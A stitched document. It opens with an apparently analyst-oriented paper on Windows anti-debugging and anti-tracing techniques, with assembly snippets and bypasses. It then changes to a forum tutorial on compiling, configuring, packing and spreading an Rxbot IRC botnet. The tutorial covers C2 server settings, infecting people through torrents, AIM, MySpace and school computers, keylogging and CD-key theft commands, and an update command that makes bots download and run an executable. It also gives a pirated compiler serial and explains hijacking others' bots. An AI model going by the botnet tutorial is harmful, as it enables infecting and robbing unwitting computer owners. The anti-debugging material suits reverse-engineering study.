This paper classifies and presents several anti-debugging techniques used on Windows NT-based operating systems. Anti-debugging techniques are ways for a program to detect if it runs under control of a debugger. They are used by commercial executable protectors, packers and malicious software, to prevent or slow-down the process of reverse-engineering. We'll suppose the program is analyzed under a ring3 debugger, such as OllyDbg on Windows platforms. The paper is aimed towards reverse-engineers and malware analysts. Note that we will talk purely about generic anti-debugging and anti-tracing techniques. Specific debugger detection, such as window or processes enumeration, registry scanning, etc. will not be addressed here.

[1] Intro

This paper classifies and presents several anti-debugging techniques used on Windows NT-based operating systems.
Anti-debugging techniques are ways for a program to detect if it runs under control of a debugger. They are used by commercial executable protectors, packers and malicious software, to prevent or slow-down the process of reverse-engineering.

We'll suppose the program is analyzed under a ring3 debugger, such as OllyDbg on Windows platforms. The paper is aimed towards reverse-engineers and malware analysts.
Note that we will talk purely about generic anti-debugging and anti-tracing techniques. Specific debugger detection, such as window or processes enumeration, registry scanning, etc. will not be addressed here.

[2] Anti-debugging and anti-tracing techniques

- Exploiting memory discrepancies

(1) kernel32!IsDebuggerPresent
IsDebuggerPresent returns 1 if the process is being debugged, 0 otherwise. This API simply reads the PEB!BeingDebugged byte-flag (located at offset 2 in the PEB structure).
Circumventing it is as easy as setting PEB!BeingDebugged to 0.
Example:
call IsDebuggerPresent
test eax, eax
jne @DebuggerDetected
...

(2) PEB!IsDebugged

This field refers to the second byte in the Process Environment Block of the process. It is set by the system when the process is debugged.
This byte can be reset to 0 without consequences for the course of execution of the program (it is an informative flag).

Example:
mov eax, fs:[30h]
mov eax, byte [eax+2]
test eax, eax
jne @DebuggerDetected
...

(3) PEB!NtGlobalFlags

When a process is created, the system sets some flags that will define how various APIs will behave for this program. Those flags can be read in the PEB, in the DWORD located at offset 0x68 (see the reference).
By default, different flags are set depending if the process is created under a debugger or not. If the process is debugged, some flags controlling the heap manipulation routines in ntdll will be set: FLG_HEAP_ENABLE_TAIL_CHECK, FLG_HEAP_ENABLE_FREE_CHECK and FLG_HEAP_VALIDATE_PARAMETERS.
This anti-debug can be bypassed by resetting the NtGlobalFlags field.

Example:
mov eax, fs:[30h]
mov eax, [eax+68h]
and eax, 0x70
test eax, eax
jne @DebuggerDetected
...

(4) Heap flags

As explained previously, NtGlobalFlags informs how the heap routines will behave (among other things). Though it is easy to modify the PEB field, if the heap does not behave the same way as it should when the process is not debugged, this could be problematic. It is a powerful anti-debug, as process heaps are numerous, and their chunks can be individually affected by the FLG_HEAP_* flags (such as chunk tails). Heap headers would be affected as well. For instance, checking the field ForceFlags in a heap header (offset 0x10) can be used to detect the presence of a debugger.

There are two easy ways to circumvent it:

- Create a non-debugged process, and attach the debugger once the process has been created (an easy solution is to create the process suspended, run until the entry-point is reached, patch it to an infinite loop, resume the process, attach the debugger, and restore the original entry-point).

- Force the NtGlobalFlags for the process that we want to debug, via the registry key "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options": Create a subkey (not value) named as your process name, and under this subkey, a String value "GlobalFlags" set to nothing.

Example:
mov eax, fs:[30h]
mov eax, [eax+18h] ;process heap
mov eax, [eax+10h] ;heap flags
test eax, eax
jne @DebuggerDetected
...

(5) Vista anti-debug (no name)

Here's an anti-debug specific to Windows Vista that I found by comparing memory dumps of a program running with and without control of a debugger. I'm not sure of its realiability, but it's worth mentionning (tested on Windows Vista 32 bits, SP0, English version).

When a process is debugged, its main thread TEB, at offset 0xBFC, contains a pointer to a unicode string referencing a system dll. Moreover, the string follows this pointer (therefore, located at offset 0xC00 in the TEB). If the process is not debugged, the pointer is set to NULL and the string is not present.

Example:
call GetVersion
cmp al, 6
jne @NotVista
push offset _seh
push dword fs:[0]
mov fs:[0], esp
mov eax, fs:[18h] ; teb
add eax, 0BFCh
mov ebx, [eax] ; pointer to a unicode string
test ebx, ebx ; (ntdll.dll, gdi32.dll,...)
je @DebuggerNotFound
sub ebx, eax ; the unicode string follows the
sub ebx, 4 ; pointer
jne @DebuggerNotFound
;debugger detected if it reaches this point
;...

- Exploiting system discrepancies

(1) NtQueryInformationProcess
ntdll!NtQueryInformationProcess is a wrapper around the ZwQueryInformationProcess syscall. Its prototype is the following:

NTSYSAPI NTSTATUS NTAPI NtQueryInformationProcess(
IN HANDLE ProcessHandle,
IN PROCESS_INFORMATION_CLASS ProcessInformationClass,
OUT PVOID ProcessInformation,
IN ULONG ProcessInformationLength,
OUT PULONG ReturnLength
);

When called with ProcessInformationClass set to 7 (ProcessDebugPort constant), the system will set ProcessInformation to -1 if the process is debugged.
It is a powerful anti-debug, and there is no easy way to circumvent it. However, if the program is traced, ProcessInformation can be modified when the syscall returns.

Another solution is to use a system driver that would hook the ZwNtQueryInformationProcess syscall.
Circumventing NtQueryInformationProcess will bypass many anti-debug techniques (such as CheckRemoteDebuggerPresent or UnhandledExceptionFilter).

Example:
push 0
push 4
push offset isdebugged
push 7 ;ProcessDebugPort
push -1
call NtQueryInformationProcess
test eax, eax
jne @ExitError
cmp isdebugged, 0
jne @DebuggerDetected
...

(2) kernel32!CheckRemoteDebuggerPresent

This API takes two parameters: a process handle, and a pointer to a DWORD. If the call is successful, the DWORD value will be set to 1 if the process is being debugged.
Internally, this API calls ntdll!NtQueryInformationProcess with ProcessInformationClass set to ProcessDebugPort (7).

Example:
push offset isdebugged
push -1
call CheckRemoteDebuggerPresent
test eax, eax
jne @DebuggerDetected
...

(3) UnhandledExceptionFilter

When an exception occurs, with Windows XP SP>=2, Windows 2003, and Windows Vista, the usual way the OS processes the exception is:

- If any, pass control to the per-process Vectored Exception Handlers.
- If the exception is not processed, pass the control to the per-thread top SEH handler, pointed by FS:[0] in the thread that generated the exception. SEH are chained and called in turn if the exception is not processed by the previous in the chain.
- If the exception has not been processed by any of the previous handlers, the final SEH handler (set by the system), will call kernel32!UnhandledExceptionFilter. This function will decide what it should do depending if the process is debugged or not.
- If it is not debugged, it will call the user-defined filter function (set via kernel32!SetUnhandledExceptionFilter).
- If it debugged, the program will be terminated.

The debugger detection in UnhandledExceptionFilter is made with ntdll!NtQueryInformationProcess.

Example:
push @not_debugged
call SetUnhandledExceptionFilter
xor eax, eax
mov eax, dword [eax] ; trigger exception
;program terminated if debugged
;...
@not_debugged:
;process the exception
;continue the execution
;...

(4) NtSetInformationThread
ntdll!NtSetInformationThread is a wrapper around the ZwSetInformationThread syscall. Its prototype is the following:
NTSYSAPI NTSTATUS NTAPI NtSetInformationThread(
IN HANDLE ThreadHandle,
IN THREAD_INFORMATION_CLASS ThreadInformationClass,
IN PVOID ThreadInformation,
IN ULONG ThreadInformationLength
);

When called with ThreadInformationClass set to 0x11 (ThreadHideFromDebugger constant), the thread will be detached from the debugger.

Similarly to ZwQueryInformationProcess, circumventing this anti-debug requires either modifying ZwSetInformationThread parameters before it's called, or hooking the syscall directly with the use of a kernel driver.

Example:
push 0
push 0
push 11h ;ThreadHideFromDebugger
push -2
call NtSetInformationThread
;thread detached if debugged
;...

(5) kernel32!CloseHandle and NtClose

APIs making user of the ZwClose syscall (such as CloseHandle, indirectly) can be used to detect a debugger. When a process is debugged, calling ZwClose with an invalid handle will generate a STATUS_INVALID_HANDLE (0xC0000008) exception.

As with all anti-debugs that rely on information made directly available from the kernel (therefore involving a syscall), the only proper way to bypass the "CloseHandle" anti-debug is to either modify the syscall data from ring3, before it is called, or set up a kernel hook.

This anti-debug, though extremely powerful, does not seem to be widely used by malicious programs.

Example:
push offset @not_debugged
push dword fs:[0]
mov fs:[0], esp
push 1234h ;invalid handle
call CloseHandle
; if fall here, process is debugged
;...
@not_debugged:
;...

(6) Self-debugging

A process can detect it is being debugged by trying to debug itself, for instance by creating a new process, and calling kernel32!DebugActiveProcess(pid) on the parent process.

In turn, this API calls ntdll!DbgUiDebugActiveProcess which will call the syscall ZwDebugActiveProcess. If the process is already debugged, the syscall fails. Note that retrieving the parent process PID can be done with the toolhelp32 APIs (field th32ParentProcessID in the PROCESSENTRY32 structure.

(7) Kernel-mode timers

kernel32!QueryPerformanceCounter is an efficent anti-debug. This API calls ntdll!NtQueryPerformanceCounter which wraps the ZwQueryPerformanceCounter syscall.

Again, there is no easy way to circumvent this anti-tracing trick.

(8) User-mode timers

An API such as kernel32!GetTickCount returns the number of milliseconds ellapsed since the system started. The interesting thing is that it does not make use of kernel-related service to perform its duties. A user-mode process has this counter mapped in its address space. For 8Gb user-mode spaces, the value returned would be:

d[0x7FFE0000] * d[0x7FFE0004] / (2^24)

(9) kernel32!OutputDebugStringA

This anti-debug is quite original, I have encountered it only once, in files packed with ReCrypt v0.80. The trick consists of calling OutputDebugStringA, with a valid ASCII string. If the program is run under control of a debugger, the return value will be the address of the string passed as a parameter. In normal conditions, the return value should be 1.

Example:
xor eax, eax
push offset szHello
call OutputDebugStringA
cmp eax, 1
jne @DebuggerDetected
...

(10) Ctrl-C

When a console program is debugged, a Ctrl-C signal will throw a EXCEPTION_CTL_C exception, whereas the signal handler would be called directly is the program is not debugged.

Example:
push offset exhandler
push 1
call RtlAddVectoredExceptionHandler
push 1
push sighandler
call SetConsoleCtrlHandler
push 0
push CTRL_C_EVENT
call GenerateConsoleCtrlEvent
push 10000
call Sleep
push 0
call ExitProcess
exhandler:
;check if EXCEPTION_CTL_C, if it is,
;debugger detected, should exit process
;...
sighandler:
;continue
;...

- CPU anti-debug

(1) Rogue Int3

This is a classic anti-debug to fool weak debuggers. It consists of inserting an INT3 opcode in the middle of a valid sequence of instructions. When the INT3 is executed, if the program is not debugged, control will be given to the exception handler of the protection and execution will continue.

As INT3 instructions are used by debuggers to set software breakpoints, inserting INT3 opcodes can be used to trick the debugger into believing that it is one his breakpoints. Therefore, the control would not be given to the exception handler, and the course of the program would be modified. Debuggers should track where they set software breakpoints to avoid falling for this one.

Similarly, note that INT3 may be encoded as 0xCD, 0x03.

Example:
push offset @handler
push dword fs:[0]
mov fs:[0], esp
;...
db 0CCh
;if fall here, debugged
;...
@handler:
;continue execution
;...

(2) "Ice" Breakpoint

The so-called "Ice breakpoint" is one of Intel's undocumented instruction, opcode 0xF1. It is used to detect tracing programs.

Executing this instruction will generate a SINGLE_STEP exception. Therefore, if the program is already traced, the debugger will think it is the normal exception generated by executing the instruction with the SingleStep bit set in the Flags registers. The associated exception handler won't be executed, and execution will not continue as expected.
Bypassing this trick is easy: one can run over the instruction, instead and single-stepping on it. The exception will be generated, but since the program is not traced, the debugger should understand that it has to pass control to the exception handler.

Example:
push offset @handler
push dword fs:[0]
mov fs:[0], esp
;...
db 0F1h
;if fall here, traced
;...
@handler:
;continue execution
;...

(3) Interrupt 2Dh

Executing this interrupt if the program is not debugged will raise a breakpoint exception. If the program is debugged, and the instruction is not executed with the trace flag, no exception will be generated, and execution will carry on normally. If the program is debugged and the instruction traced, the following byte will be skipped, and execution will continue. Therefore, using INT 2Dh can be used as a powerful anti-debug and anti-tracer mechanism.
Example:
push offset @handler
push dword fs:[0]
mov fs:[0], esp
;...
db 02Dh
mov eax, 1 ;anti-tracing
;...
@handler:
;continue execution
;...

(4) Timestamp counters
High precision counters, storing the current number of CPU cycles executed since the machine started, can be queried with the RDTSC instruction. Classic anti-debugs consist of measuring time deltas at key points in the program, usually around exception handlers. If the delta is too large, that would mean the program runs under control of a debugger (processing the exception in the debugger, and giving control back to the debuggee is a lengthy task).

Example:
push offset handler
push dword ptr fs:[0]
mov fs:[0],esp
rdtsc
push eax
xor eax, eax
div eax ;trigger exception
rdtsc
sub eax, [esp] ;ticks delta
add esp, 4
pop fs:[0]
add esp, 4
cmp eax, 10000h ;threshold
jb @not_debugged
@debugged:
...
@not_debugged:
...
handler:
mov ecx, [esp+0Ch]
add dword ptr [ecx+0B8h], 2 ;skip div
xor eax, eax
ret

(5) Popf and the trap flag

The trap flag, located in the Flags register, controls the tracing of a program. If this flag is set, executing an instruction will also raise a SINGLE_STEP exception. The trap flag can be manipulated in order to thwart tracers. For instance, this sequence of instructions will set the trap flag:

pushf
mov dword [esp], 0x100
popf

If the program is being traced, this will have no real effect on the flags register, and the debugger will process the exception, believing it comes from regular tracing. The exception handler won't be executed. Circumventing this anti-tracer trick simply require to run over the pushf instruction.

(6) Stack Segment register

Here's a very original anti-tracer. I encountered it in a packer called MarCrypt. I believe it is not widely known, not to mention, used.
It consists of tracing over this sequence of instructions:

push ss
pop ss
pushf
nop

When tracing over pop ss, the next instruction will be executed but the debugger will not break on it, therefore stopping on the following instruction (NOP in this case).
Marcrypt uses this anti-debug the following way:

push ss
; junk
pop ss
pushf
; junk
pop eax
and eax, 0x100
or eax, eax
jnz @debugged
; carry on normal execution

The trick here is that, if the debugger is tracing over that sequence of instructions, popf will be excuted implicitly, and the debugger will not be able to unset the trapflag in the pushed value on the stack. The protection checks for the trap flag and terminates the program if it's found.
One simple way to circumvent this anti-tracing is to breakpoint on popf and run the program (to avoid using the TF flag).

(7) Debug registers manipulation

Debug registers (DR0 through DR7) are used to set hardware breakpoints. A protection can manipulate them to either detect that hardware breakpoints have been set (and therefore, that it is being debugged), reset them or set them to particular values used to perform code checks later. A packer such as tElock makes use of the debug registers to prevent reverse-engineers from using them.
From a user-mode perspective, debug registers cannot be set using the privileged 'mov drx, ...' instruction. Other ways exist:

- An exception can be generated, the thread context modified (it contains the CPU registers at the time the exception was thrown), and then resumed to normal execution with the new context.

- The other way is to use the NtGetContextThread and NtSetContextThread syscalls (available in kernel32 with GetThreadContext and SetThreadContext).

Most protectors use the first, "unofficial" way.

Example:
push offset handler
push dword ptr fs:[0]
mov fs:[0],esp
xor eax, eax
div eax ;generate exception
pop fs:[0]
add esp, 4
;continue execution
;...
handler:
mov ecx, [esp+0Ch] ;skip div
add dword ptr [ecx+0B8h], 2 ;skip div
mov dword ptr [ecx+04h], 0 ;clean dr0
mov dword ptr [ecx+08h], 0 ;clean dr1
mov dword ptr [ecx+0Ch], 0 ;clean dr2
mov dword ptr [ecx+10h], 0 ;clean dr3
mov dword ptr [ecx+14h], 0 ;clean dr6
mov dword ptr [ecx+18h], 0 ;clean dr7
xor eax, eax
ret

(8) Context modification

As with debug registers manipulation, the context can also be used to modify in an unconventionnal way the execution stream of a program. Debuggers can get easily confused!
Note that another syscall, NtContinue, can be used to load a new context in the current thread (for instance, this syscall is used by the exception handler manager).

- Uncategorized anti-debug

(1) TLS-callback

This anti-debug was not so well-known a few years ago. It consists to instruct the PE loader that the first entry point of the program is referenced in a Thread Local Storage entry (10th directory entry number in the PE optional header). By doing so, the program entry-point won't be executed first. The TLS entry can then perform anti-debug checks in a stealthy way.
Note that in practice, this technique is not widely used.
Though older debuggers (including OllyDbg) are not TLS-aware, counter-measures are quite easy to take, by the means of plugins of custom patcher tools.

(2) CC scanning

A common protection feature used by packers is the CC-scanning loop, aimed at detecting software breakpoints set by a debugger. If you want to avoid that kind of troubles, you may want to use either hardware breakpoints or a custom type of software breakpoint. CLI (0xFA) is a good candidate to replace the classic INT3 opcode. This instruction does have the requirements for the job: it raises a privileged instruction exception if executed by a ring3 program, and occupies only 1 byte of space.

(3) EntryPoint RVA set to 0

Some packed files have their entry point RVA set to 0, which means they will start executing 'MZ...' which corresponds to 'dec ebx / pop edx ...'.

This is not an anti-debug trick in itself, but can be annoying if you want to break on the entry-point by using a software breakpoint.

If you create a suspended process, then set an INT3 at RVA 0, you will erase part of the magic MZ value ('M'). The magic was checked when the process was created, but it will get checked again by ntdll when the process is resumed (in the hope of reaching the entry-point). In that case, an INVALID_IMAGE_FORMAT exception will be raised.

If you create your own tracing or debugging tool, you will want to use hardware breakpoint to avoid this problem.

[3] Conclusion

Knowing anti-debugging and anti-tracing techniques (un)commonly used by malware or protectors is useful knowledge for a reverse-engineer. A program will always have ways to find it is run in a debugger - the same applies for virtual or emulated environments, but since ring3 debuggers are some of the most common analysis tools used, knowing common tricks, and how to bypass them, will always prove useful.

[4] Links

MSDN
Portable Executable Tutorial, Matt Pietrek
Syscall Reference, The Metasploit Project
Undocumented Functions for MS Windows NT/2K
Intel Manuals
- Common exception codes - Microsoft Windows SDK, ntdll.h
- Status codes list (including common exception codes) - Microsoft Windows DDK, ntstatus.h
- Context Structures documentation - Microsoft Windows SDK, ntdll.h

[5] Data reference

- CONTEXT structure for IA32 processors
struct CONTEXT_IA32
{
// ContextFlags must be set to the appropriate CONTEXT_* flag
// before calling (Set|Get)ThreadContext
DWORD ContextFlags;

// CONTEXT_DEBUG_REGISTERS (not included in CONTEXT_FULL)
DWORD Dr0; // 04h
DWORD Dr1; // 08h
DWORD Dr2; // 0Ch
DWORD Dr3; // 10h
DWORD Dr6; // 14h
DWORD Dr7; // 18h

// CONTEXT_FLOATING_POINT
FLOATING_SAVE_AREA FloatSave;

// CONTEXT_SEGMENTS
DWORD SegGs; // 88h
DWORD SegFs; // 90h
DWORD SegEs; // 94h
DWORD SegDs; // 98h

// CONTEXT_INTEGER
DWORD Edi; // 9Ch
DWORD Esi; // A0h
DWORD Ebx; // A4h
DWORD Edx; // A8h
DWORD Ecx; // ACh
DWORD Eax; // B0h

// CONTEXT_CONTROL
DWORD Ebp; // B4h
DWORD Eip; // B8h
DWORD SegCs; // BCh (must be sanitized)
DWORD EFlags; // C0h
DWORD Esp; // C4h
DWORD SegSs; // C8h

// CONTEXT_EXTENDED_REGISTERS (processor-specific)
BYTE ExtendedRegisters[MAXIMUM_SUPPORTED_EXTENSION];
};

- Process Environment Block structure (from The Wine Project)
struct PEB
{
BOOLEAN InheritedAddressSpace; // 00
BOOLEAN ReadImageFileExecOptions; // 01
BOOLEAN BeingDebugged; // 02
BOOLEAN SpareBool; // 03
HANDLE Mutant; // 04
HMODULE ImageBaseAddress; // 08
PPEB_LDR_DATA LdrData; // 0c
RTL_UPROCESS_PARAMETERS *ProcessParameters; // 10
PVOID SubSystemData; // 14
HANDLE ProcessHeap; // 18
PRTL_CRITICAL_SECTION FastPebLock; // 1c
PVOID /*PPEBLOCKROUTI*/ FastPebLockRoutine; // 20
PVOID /*PPEBLOCKROUTI*/ FastPebUnlockRoutine; // 24
ULONG EnvironmentUpdateCount; // 28
PVOID KernelCallbackTable; // 2c
PVOID EventLogSection; // 30
PVOID EventLog; // 34
PVOID /*PPEB_FREE_BLO*/ FreeList; // 38
ULONG TlsExpansionCounter; // 3c
PRTL_BITMAP TlsBitmap; // 40
ULONG TlsBitmapBits[2]; // 44
PVOID ReadOnlySharedMemoryBase; // 4c
PVOID ReadOnlySharedMemoryHeap; // 50
PVOID *ReadOnlyStaticServerData; // 54
PVOID AnsiCodePageData; // 58
PVOID OemCodePageData; // 5c
PVOID UnicodeCaseTableData; // 60
ULONG NumberOfProcessors; // 64
ULONG NtGlobalFlag; // 68
BYTE Spare2[4]; // 6c
LARGE_INTEGER CriticalSectionTimeout; // 70
ULONG HeapSegmentReserve; // 78
ULONG HeapSegmentCommit; // 7c
ULONG HeapDeCommitTotalFreeTh; // 80
ULONG HeapDeCommitFreeBlockTh; // 84
ULONG NumberOfHeaps; // 88
ULONG MaximumNumberOfHeaps; // 8c
PVOID *ProcessHeaps; // 90
PVOID GdiSharedHandleTable; // 94
PVOID ProcessStarterHelper; // 98
PVOID GdiDCAttributeList; // 9c
PVOID LoaderLock; // a0
ULONG OSMajorVersion; // a4
ULONG OSMinorVersion; // a8
ULONG OSBuildNumber; // ac
ULONG OSPlatformId; // b0
ULONG ImageSubSystem; // b4
ULONG ImageSubSystemMajorVersion; // b8
ULONG ImageSubSystemMinorVersion; // bc
ULONG ImageProcessAffinityMask; // c0
ULONG GdiHandleBuffer[34]; // c4
ULONG PostProcessInitRoutine; // 14c
PRTL_BITMAP TlsExpansionBitmap; // 150
ULONG TlsExpansionBitmapBits[32]; // 154
ULONG SessionId; // 1d4
};

- Thread Environment Block structure (from The Wine Project)
struct TEB
{
NT_TIB Tib; // 000 Info block
PVOID EnvironmentPointer; // 01c
CLIENT_ID ClientId; // 020 PID,TID
PVOID ActiveRpcHandle; // 028
PVOID ThreadLocalStoragePointer; // 02c
PEB *Peb; // 030
DWORD LastErrorValue; // 034
ULONG CountOfOwnedCriticalSections; // 038
PVOID CsrClientThread; // 03c
PVOID Win32ThreadInfo; // 040
ULONG Win32ClientInfo[0x1f]; // 044
PVOID WOW32Reserved; // 0c0
ULONG CurrentLocale; // 0c4
ULONG FpSoftwareStatusRegister; // 0c8
PVOID SystemReserved1[54]; // 0cc
PVOID Spare1; // 1a4
LONG ExceptionCode; // 1a8
BYTE SpareBytes1[40]; // 1ac
PVOID SystemReserved2[10]; // 1d4
DWORD num_async_io; // 1fc
ULONG_PTR dpmi_vif; // 200
DWORD vm86_pending; // 204
DWORD pad6[309]; // 208
ULONG gdiRgn; // 6dc
ULONG gdiPen; // 6e0
ULONG gdiBrush; // 6e4
CLIENT_ID RealClientId; // 6e8
HANDLE GdiCachedProcessHandle; // 6f0
ULONG GdiClientPID; // 6f4
ULONG GdiClientTID; // 6f8
PVOID GdiThreadLocaleInfo; // 6fc
PVOID UserReserved[5]; // 700
PVOID glDispachTable[280]; // 714
ULONG glReserved1[26]; // b74
PVOID glReserved2; // bdc
PVOID glSectionInfo; // be0
PVOID glSection; // be4
PVOID glTable; // be8
PVOID glCurrentRC; // bec
PVOID glContext; // bf0
ULONG LastStatusValue; // bf4
UNICODE_STRING StaticUnicodeString; // bf8
WCHAR StaticUnicodeBuffer[261]; // c00
PVOID DeallocationStack; // e0c
PVOID TlsSlots[64]; // e10
LIST_ENTRY TlsLinks; // f10
PVOID Vdm; // f18
PVOID ReservedForNtRpc; // f1c
PVOID DbgSsReserved[2]; // f20
ULONG HardErrorDisabled; // f28
PVOID Instrumentation[16]; // f2c
PVOID WinSockData; // f6c
ULONG GdiBatchCount; // f70
ULONG Spare2; // f74
ULONG Spare3; // f78
ULONG Spare4; // f7c
PVOID ReservedForOle; // f80
ULONG WaitingOnLoaderLock; // f84
PVOID Reserved5[3]; // f88
PVOID *TlsExpansionSlots; // f94
};

- NtGlobalFlags
FLG_STOP_ON_EXCEPTION 0x00000001
FLG_SHOW_LDR_SNAPS 0x00000002
FLG_DEBUG_INITIAL_COMMAND 0x00000004
FLG_STOP_ON_HUNG_GUI 0x00000008
FLG_HEAP_ENABLE_TAIL_CHECK 0x00000010
FLG_HEAP_ENABLE_FREE_CHECK 0x00000020
FLG_HEAP_VALIDATE_PARAMETERS 0x00000040
FLG_HEAP_VALIDATE_ALL 0x00000080
FLG_POOL_ENABLE_TAIL_CHECK 0x00000100
FLG_POOL_ENABLE_FREE_CHECK 0x00000200
FLG_POOL_ENABLE_TAGGING 0x00000400
FLG_HEAP_ENABLE_TAGGING 0x00000800
FLG_USER_STACK_TRACE_DB 0x00001000
FLG_KERNEL_STACK_TRACE_DB 0x00002000
FLG_MAINTAIN_OBJECT_TYPELIST 0x00004000
FLG_HEAP_ENABLE_TAG_BY_DLL 0x00008000
FLG_IGNORE_DEBUG_PRIV 0x00010000
FLG_ENABLE_CSRDEBUG 0x00020000
FLG_ENABLE_KDEBUG_SYMBOL_LOAD 0x00040000
FLG_DISABLE_PAGE_KERNEL_STACKS 0x00080000
FLG_HEAP_ENABLE_CALL_TRACING 0x00100000
FLG_HEAP_DISABLE_COALESCING 0x00200000
FLG_VALID_BITS 0x003FFFFF
FLG_ENABLE_CLOSE_EXCEPTION 0x00400000
FLG_ENABLE_EXCEPTION_LOGGING 0x00800000
FLG_ENABLE_HANDLE_TYPE_TAGGING 0x01000000
FLG_HEAP_PAGE_ALLOCS 0x02000000
FLG_DEBUG_WINLOGON 0x04000000
FLG_ENABLE_DBGPRINT_BUFFERING 0x08000000
FLG_EARLY_CRITICAL_SECTION_EVT 0x10000000
FLG_DISABLE_DLL_VERIFICATION 0x80000000

By Dr.^Y^.0pt!X








There are many tutorials around but I thought I would post one to help people.

In addition to Rxbot 7.6 modded in this tutorial, you can also use another good source. It is rx-asn-2-re-worked v3 is a stable mod of rxbot and it is 100% functional and not crippled. If you want to download it, you can below:
Code:
http://rapidshare.com/files/28549191/rx-asn-2-re-worked_v3.rar.html
Compiling is the same as it would be with Rxbot 7.6. I prefer this source but it would ultimately be best to compile your own bot/get a private one.

Q:What is a botnet?
A: A botnet is where you send a trojan to someone and when they open it a "bot" joins your channel on IRC(secretly, they don't know this)Once done the computer is now refered to as a "zombie".
Depending on the source you used, the bot can do several things.

But once again depending on the source you can :
Keylog their computer, take picutes of their screen, turn on their webcam and take pics/movies, harvest cdkeys and game keys or even cracks, passwords, aim screen names, emails, you can also spam, flood, DDoS, ping, packet, yada yada, some have built in md5 crackers, and clone functions to spamm other irc channels and overrun a channel and even perform IRC "Takeovers".
Once again depending on the bot it may be able to kill other fellow competeter bots.
Or even kill AV/FW apon startup.
Add itself to registry.
Open sites.
Open commands.
Cmd,
notepad,
html,
Anything is possible !

Theres the infected computers "bots" the attacker, the server, and the victim.

Quote:
while the term "botnet" can be used to refer to any group of bots, such as IRC bots, the word is generally used to refer to a collection of compromised machines running programs, usually referred to as worms, Trojan horses, or backdoors, under a common command and control infrastructure. A botnet's originator (aka "bot herder") can control the group remotely, usually through a means such as IRC, and usually for nefarious purposes. Individual programs manifest as IRC "bots". Often the command and control takes place via an IRC server or a specific channel on a public IRC network. A bot typically runs hidden, and complies with the RFC 1459 (IRC) standard. Generally, the perpetrator of the botnet has compromised a series of systems using various tools (exploits, buffer overflows, as well as others; see also RPC). Newer bots can automatically scan their environment and propagate themselves using vulnerabilities and weak passwords. Generally, the more vulnerabilities a bot can scan and propagate through, the more valuable it becomes to a botnet controller community.

Suspects in the case used the Randex worm to establish a 30,000 strong botnet used to carry out "low profile DDoS attacks" and steal the CD keys for games, he explained. "They had a huge weapon and didn't use as much as they could have done," Santorelli told El Reg. "The main damage caused in the case is down to the cost of cleaning up infected PCs."

Botnets are being used for Google Adword click fraud, according to security watchers.

Now enough with all the quotes. As you can see, you can do anything with a botnet. Anything is possible. This is my bot and tutorial. You can host your bots on irc on a public server but I would recommend a private, password protected server.
---------------
Ignore anything about using the server editor but this tutorial show how to make an irc channel and spread bots:
Code:
http://rapidshare.com/files/18798734/DonttCare_Server_Editor_TuT..html
Here we go ladies and gentlemen
Follow the tutorial:

I. Setting up the C++ compilier: (easy)
Download
Code:
http://www.megaupload.com/?d=SUHPYZRX
Code:
Pass: itzforblitz
Serial: 812-2224558
2. Run setup.exe and install. Remember to input serial

3. Download and install the Service Pack 6 (60.8 mb)
Code:
http://www.microsoft.com/downloads/details.aspx?familyid=a8494edb-2e89-4676-a16a-5c5477cb9713&displaylang=en
After that Download and install:

Windows SDK (1.2 mb)
Code:
http://www.megaupload.com/?d=YH3SS78I
Pass: itzforblitz

II. Configuring the C++ compilier (easy)

1. Open up Microsoft Visual C++ Compilier 6.0
2. Go to Tools > Options and Click the "Directories" tab
3. Now, browse to these directories and add them to the list: (Click the dotted box to add)
Quote:
C:\PROGRAM FILES\MICROSOFT PLATFORM SDK
C:\PROGRAM FILES\MICROSOFT PLATFORM SDK\BIN
C:\PROGRAM FILES\MICROSOFT PLATFORM SDK\INCLUDE
C:\PROGRAM FILES\MICROSOFRT PLATFORM SDK\LIB

4. Now put them in this order: (use up and down arrows)

(it does not matter whats below those lines)

III. Configuring your bot: (easy)

1. Download and unpack:
Rxbot 7.6 (212.3 kb)
Code:
http://rapidshare.com/files/21854222/botsrc7.6rx.rar.html
2. You should see an Rxbot 7.6 folder
3. Open the Rxbot 7.6 > configs.h folder and edit these lines only:

Quote:
Put in quotations:
char password[] = "Bot_login_pass"; // bot password (Ex: monkey)
char server[] = "aenigma.gotd.org"; // server (Ex: irc.efnet.net)
char serverpass[] = ""; // server password (not usually needed)
char channel[] = "#botz_channel"; // channel that the bot should join
char chanpass[] = "My_channel_pass"; // channel password

Optional:
char server2[] = ""; // backup server
char channel2[] = ""; // backup channel
char chanpass2[] = ""; //Backup channel pass

IV. Building your bot: (very easy)

1. Make sure Microsoft Visual C++ is open
2. Select "File > Open Workspace"
3. Browse to your Rxbot 7.6 folder and open the rBot.dsw file
4. Right Click "rBot Files" and click Build:

5. rBot.exe will be in the Rxbot 7.6 > Debug folder !!!

YOUR DONE !!!! Now get the rbot and pack it (Use tool in third post and open rbot and click "Protect" and send it to some idiots, Follow tutorial on top to learn how to spread. Some good ways are: Torrents, AIM, Friends, Myspace, School computers, and P2P but there are more ways. ENJOY !

Command list
Download Command list
Code:
http://rapidshare.com/files/21542921/cmands.html
Basics:
.login botpassword will login bots
.logout will logout bots
.keylog on will turn keylogger on
.getcdkeys will retrieve cdkeys.
Read command list for more
Download mIRC
Code:
http://dw.com.com/redir?edId=3&siteId=4&oId=3000-2150_4-10001733&ontId=2150_4&spi=037458d618c9304926b7944fed9d4095&lop=link&tag=tdw_dltext&ltype=dl_dlnow&pid=10873492&mfgId=50355&merId=50355&pguid=94gKyQoPjAQAADdnUHYAAAAu&destUrl=http%3A%2F%2Fwww.download.com%2F3001-2150_4-10873492.html%3Fspi%3D037458d618c9304926b7944fed9d4095%26part%3Ddl-mIRC
How to secure your bots:

Don't be an arse it is easy to steal bots. All you need is the irc server address and maybe a key.
To steal bots, watch for the @login key one must upload their bot to a direct link (tdotnetwork is execellent)
and update the channel topic and run:
Quote:
@update
Code:
http://www.mybot.com/download/SMSPRO.exe
82

The
Code:
http://mybot.com
is your bot's download link and the 82 can be any number(s)
Now steal their bots and have them join your channel
To find the server address you need their botnet. Then take their bot and open it in the server editor. Address will be shown and so will password and other needed information.

To secure your self:

It is fairly easy to secure your bots, here is how:

1. When you are in your right click on your chat window and select "Channel Modes"
2. Make sure these options are checked:

This way no one besides you or another op can set the channel topic
Note: Setting "Moderated" is good for when you are not there because anyone who is not voiced (+v) or and op (+o) cannot talk. They will still log in and follow commands however there will be no output.

Good IRC Servers:

I would recommend running your botnet on a private server.
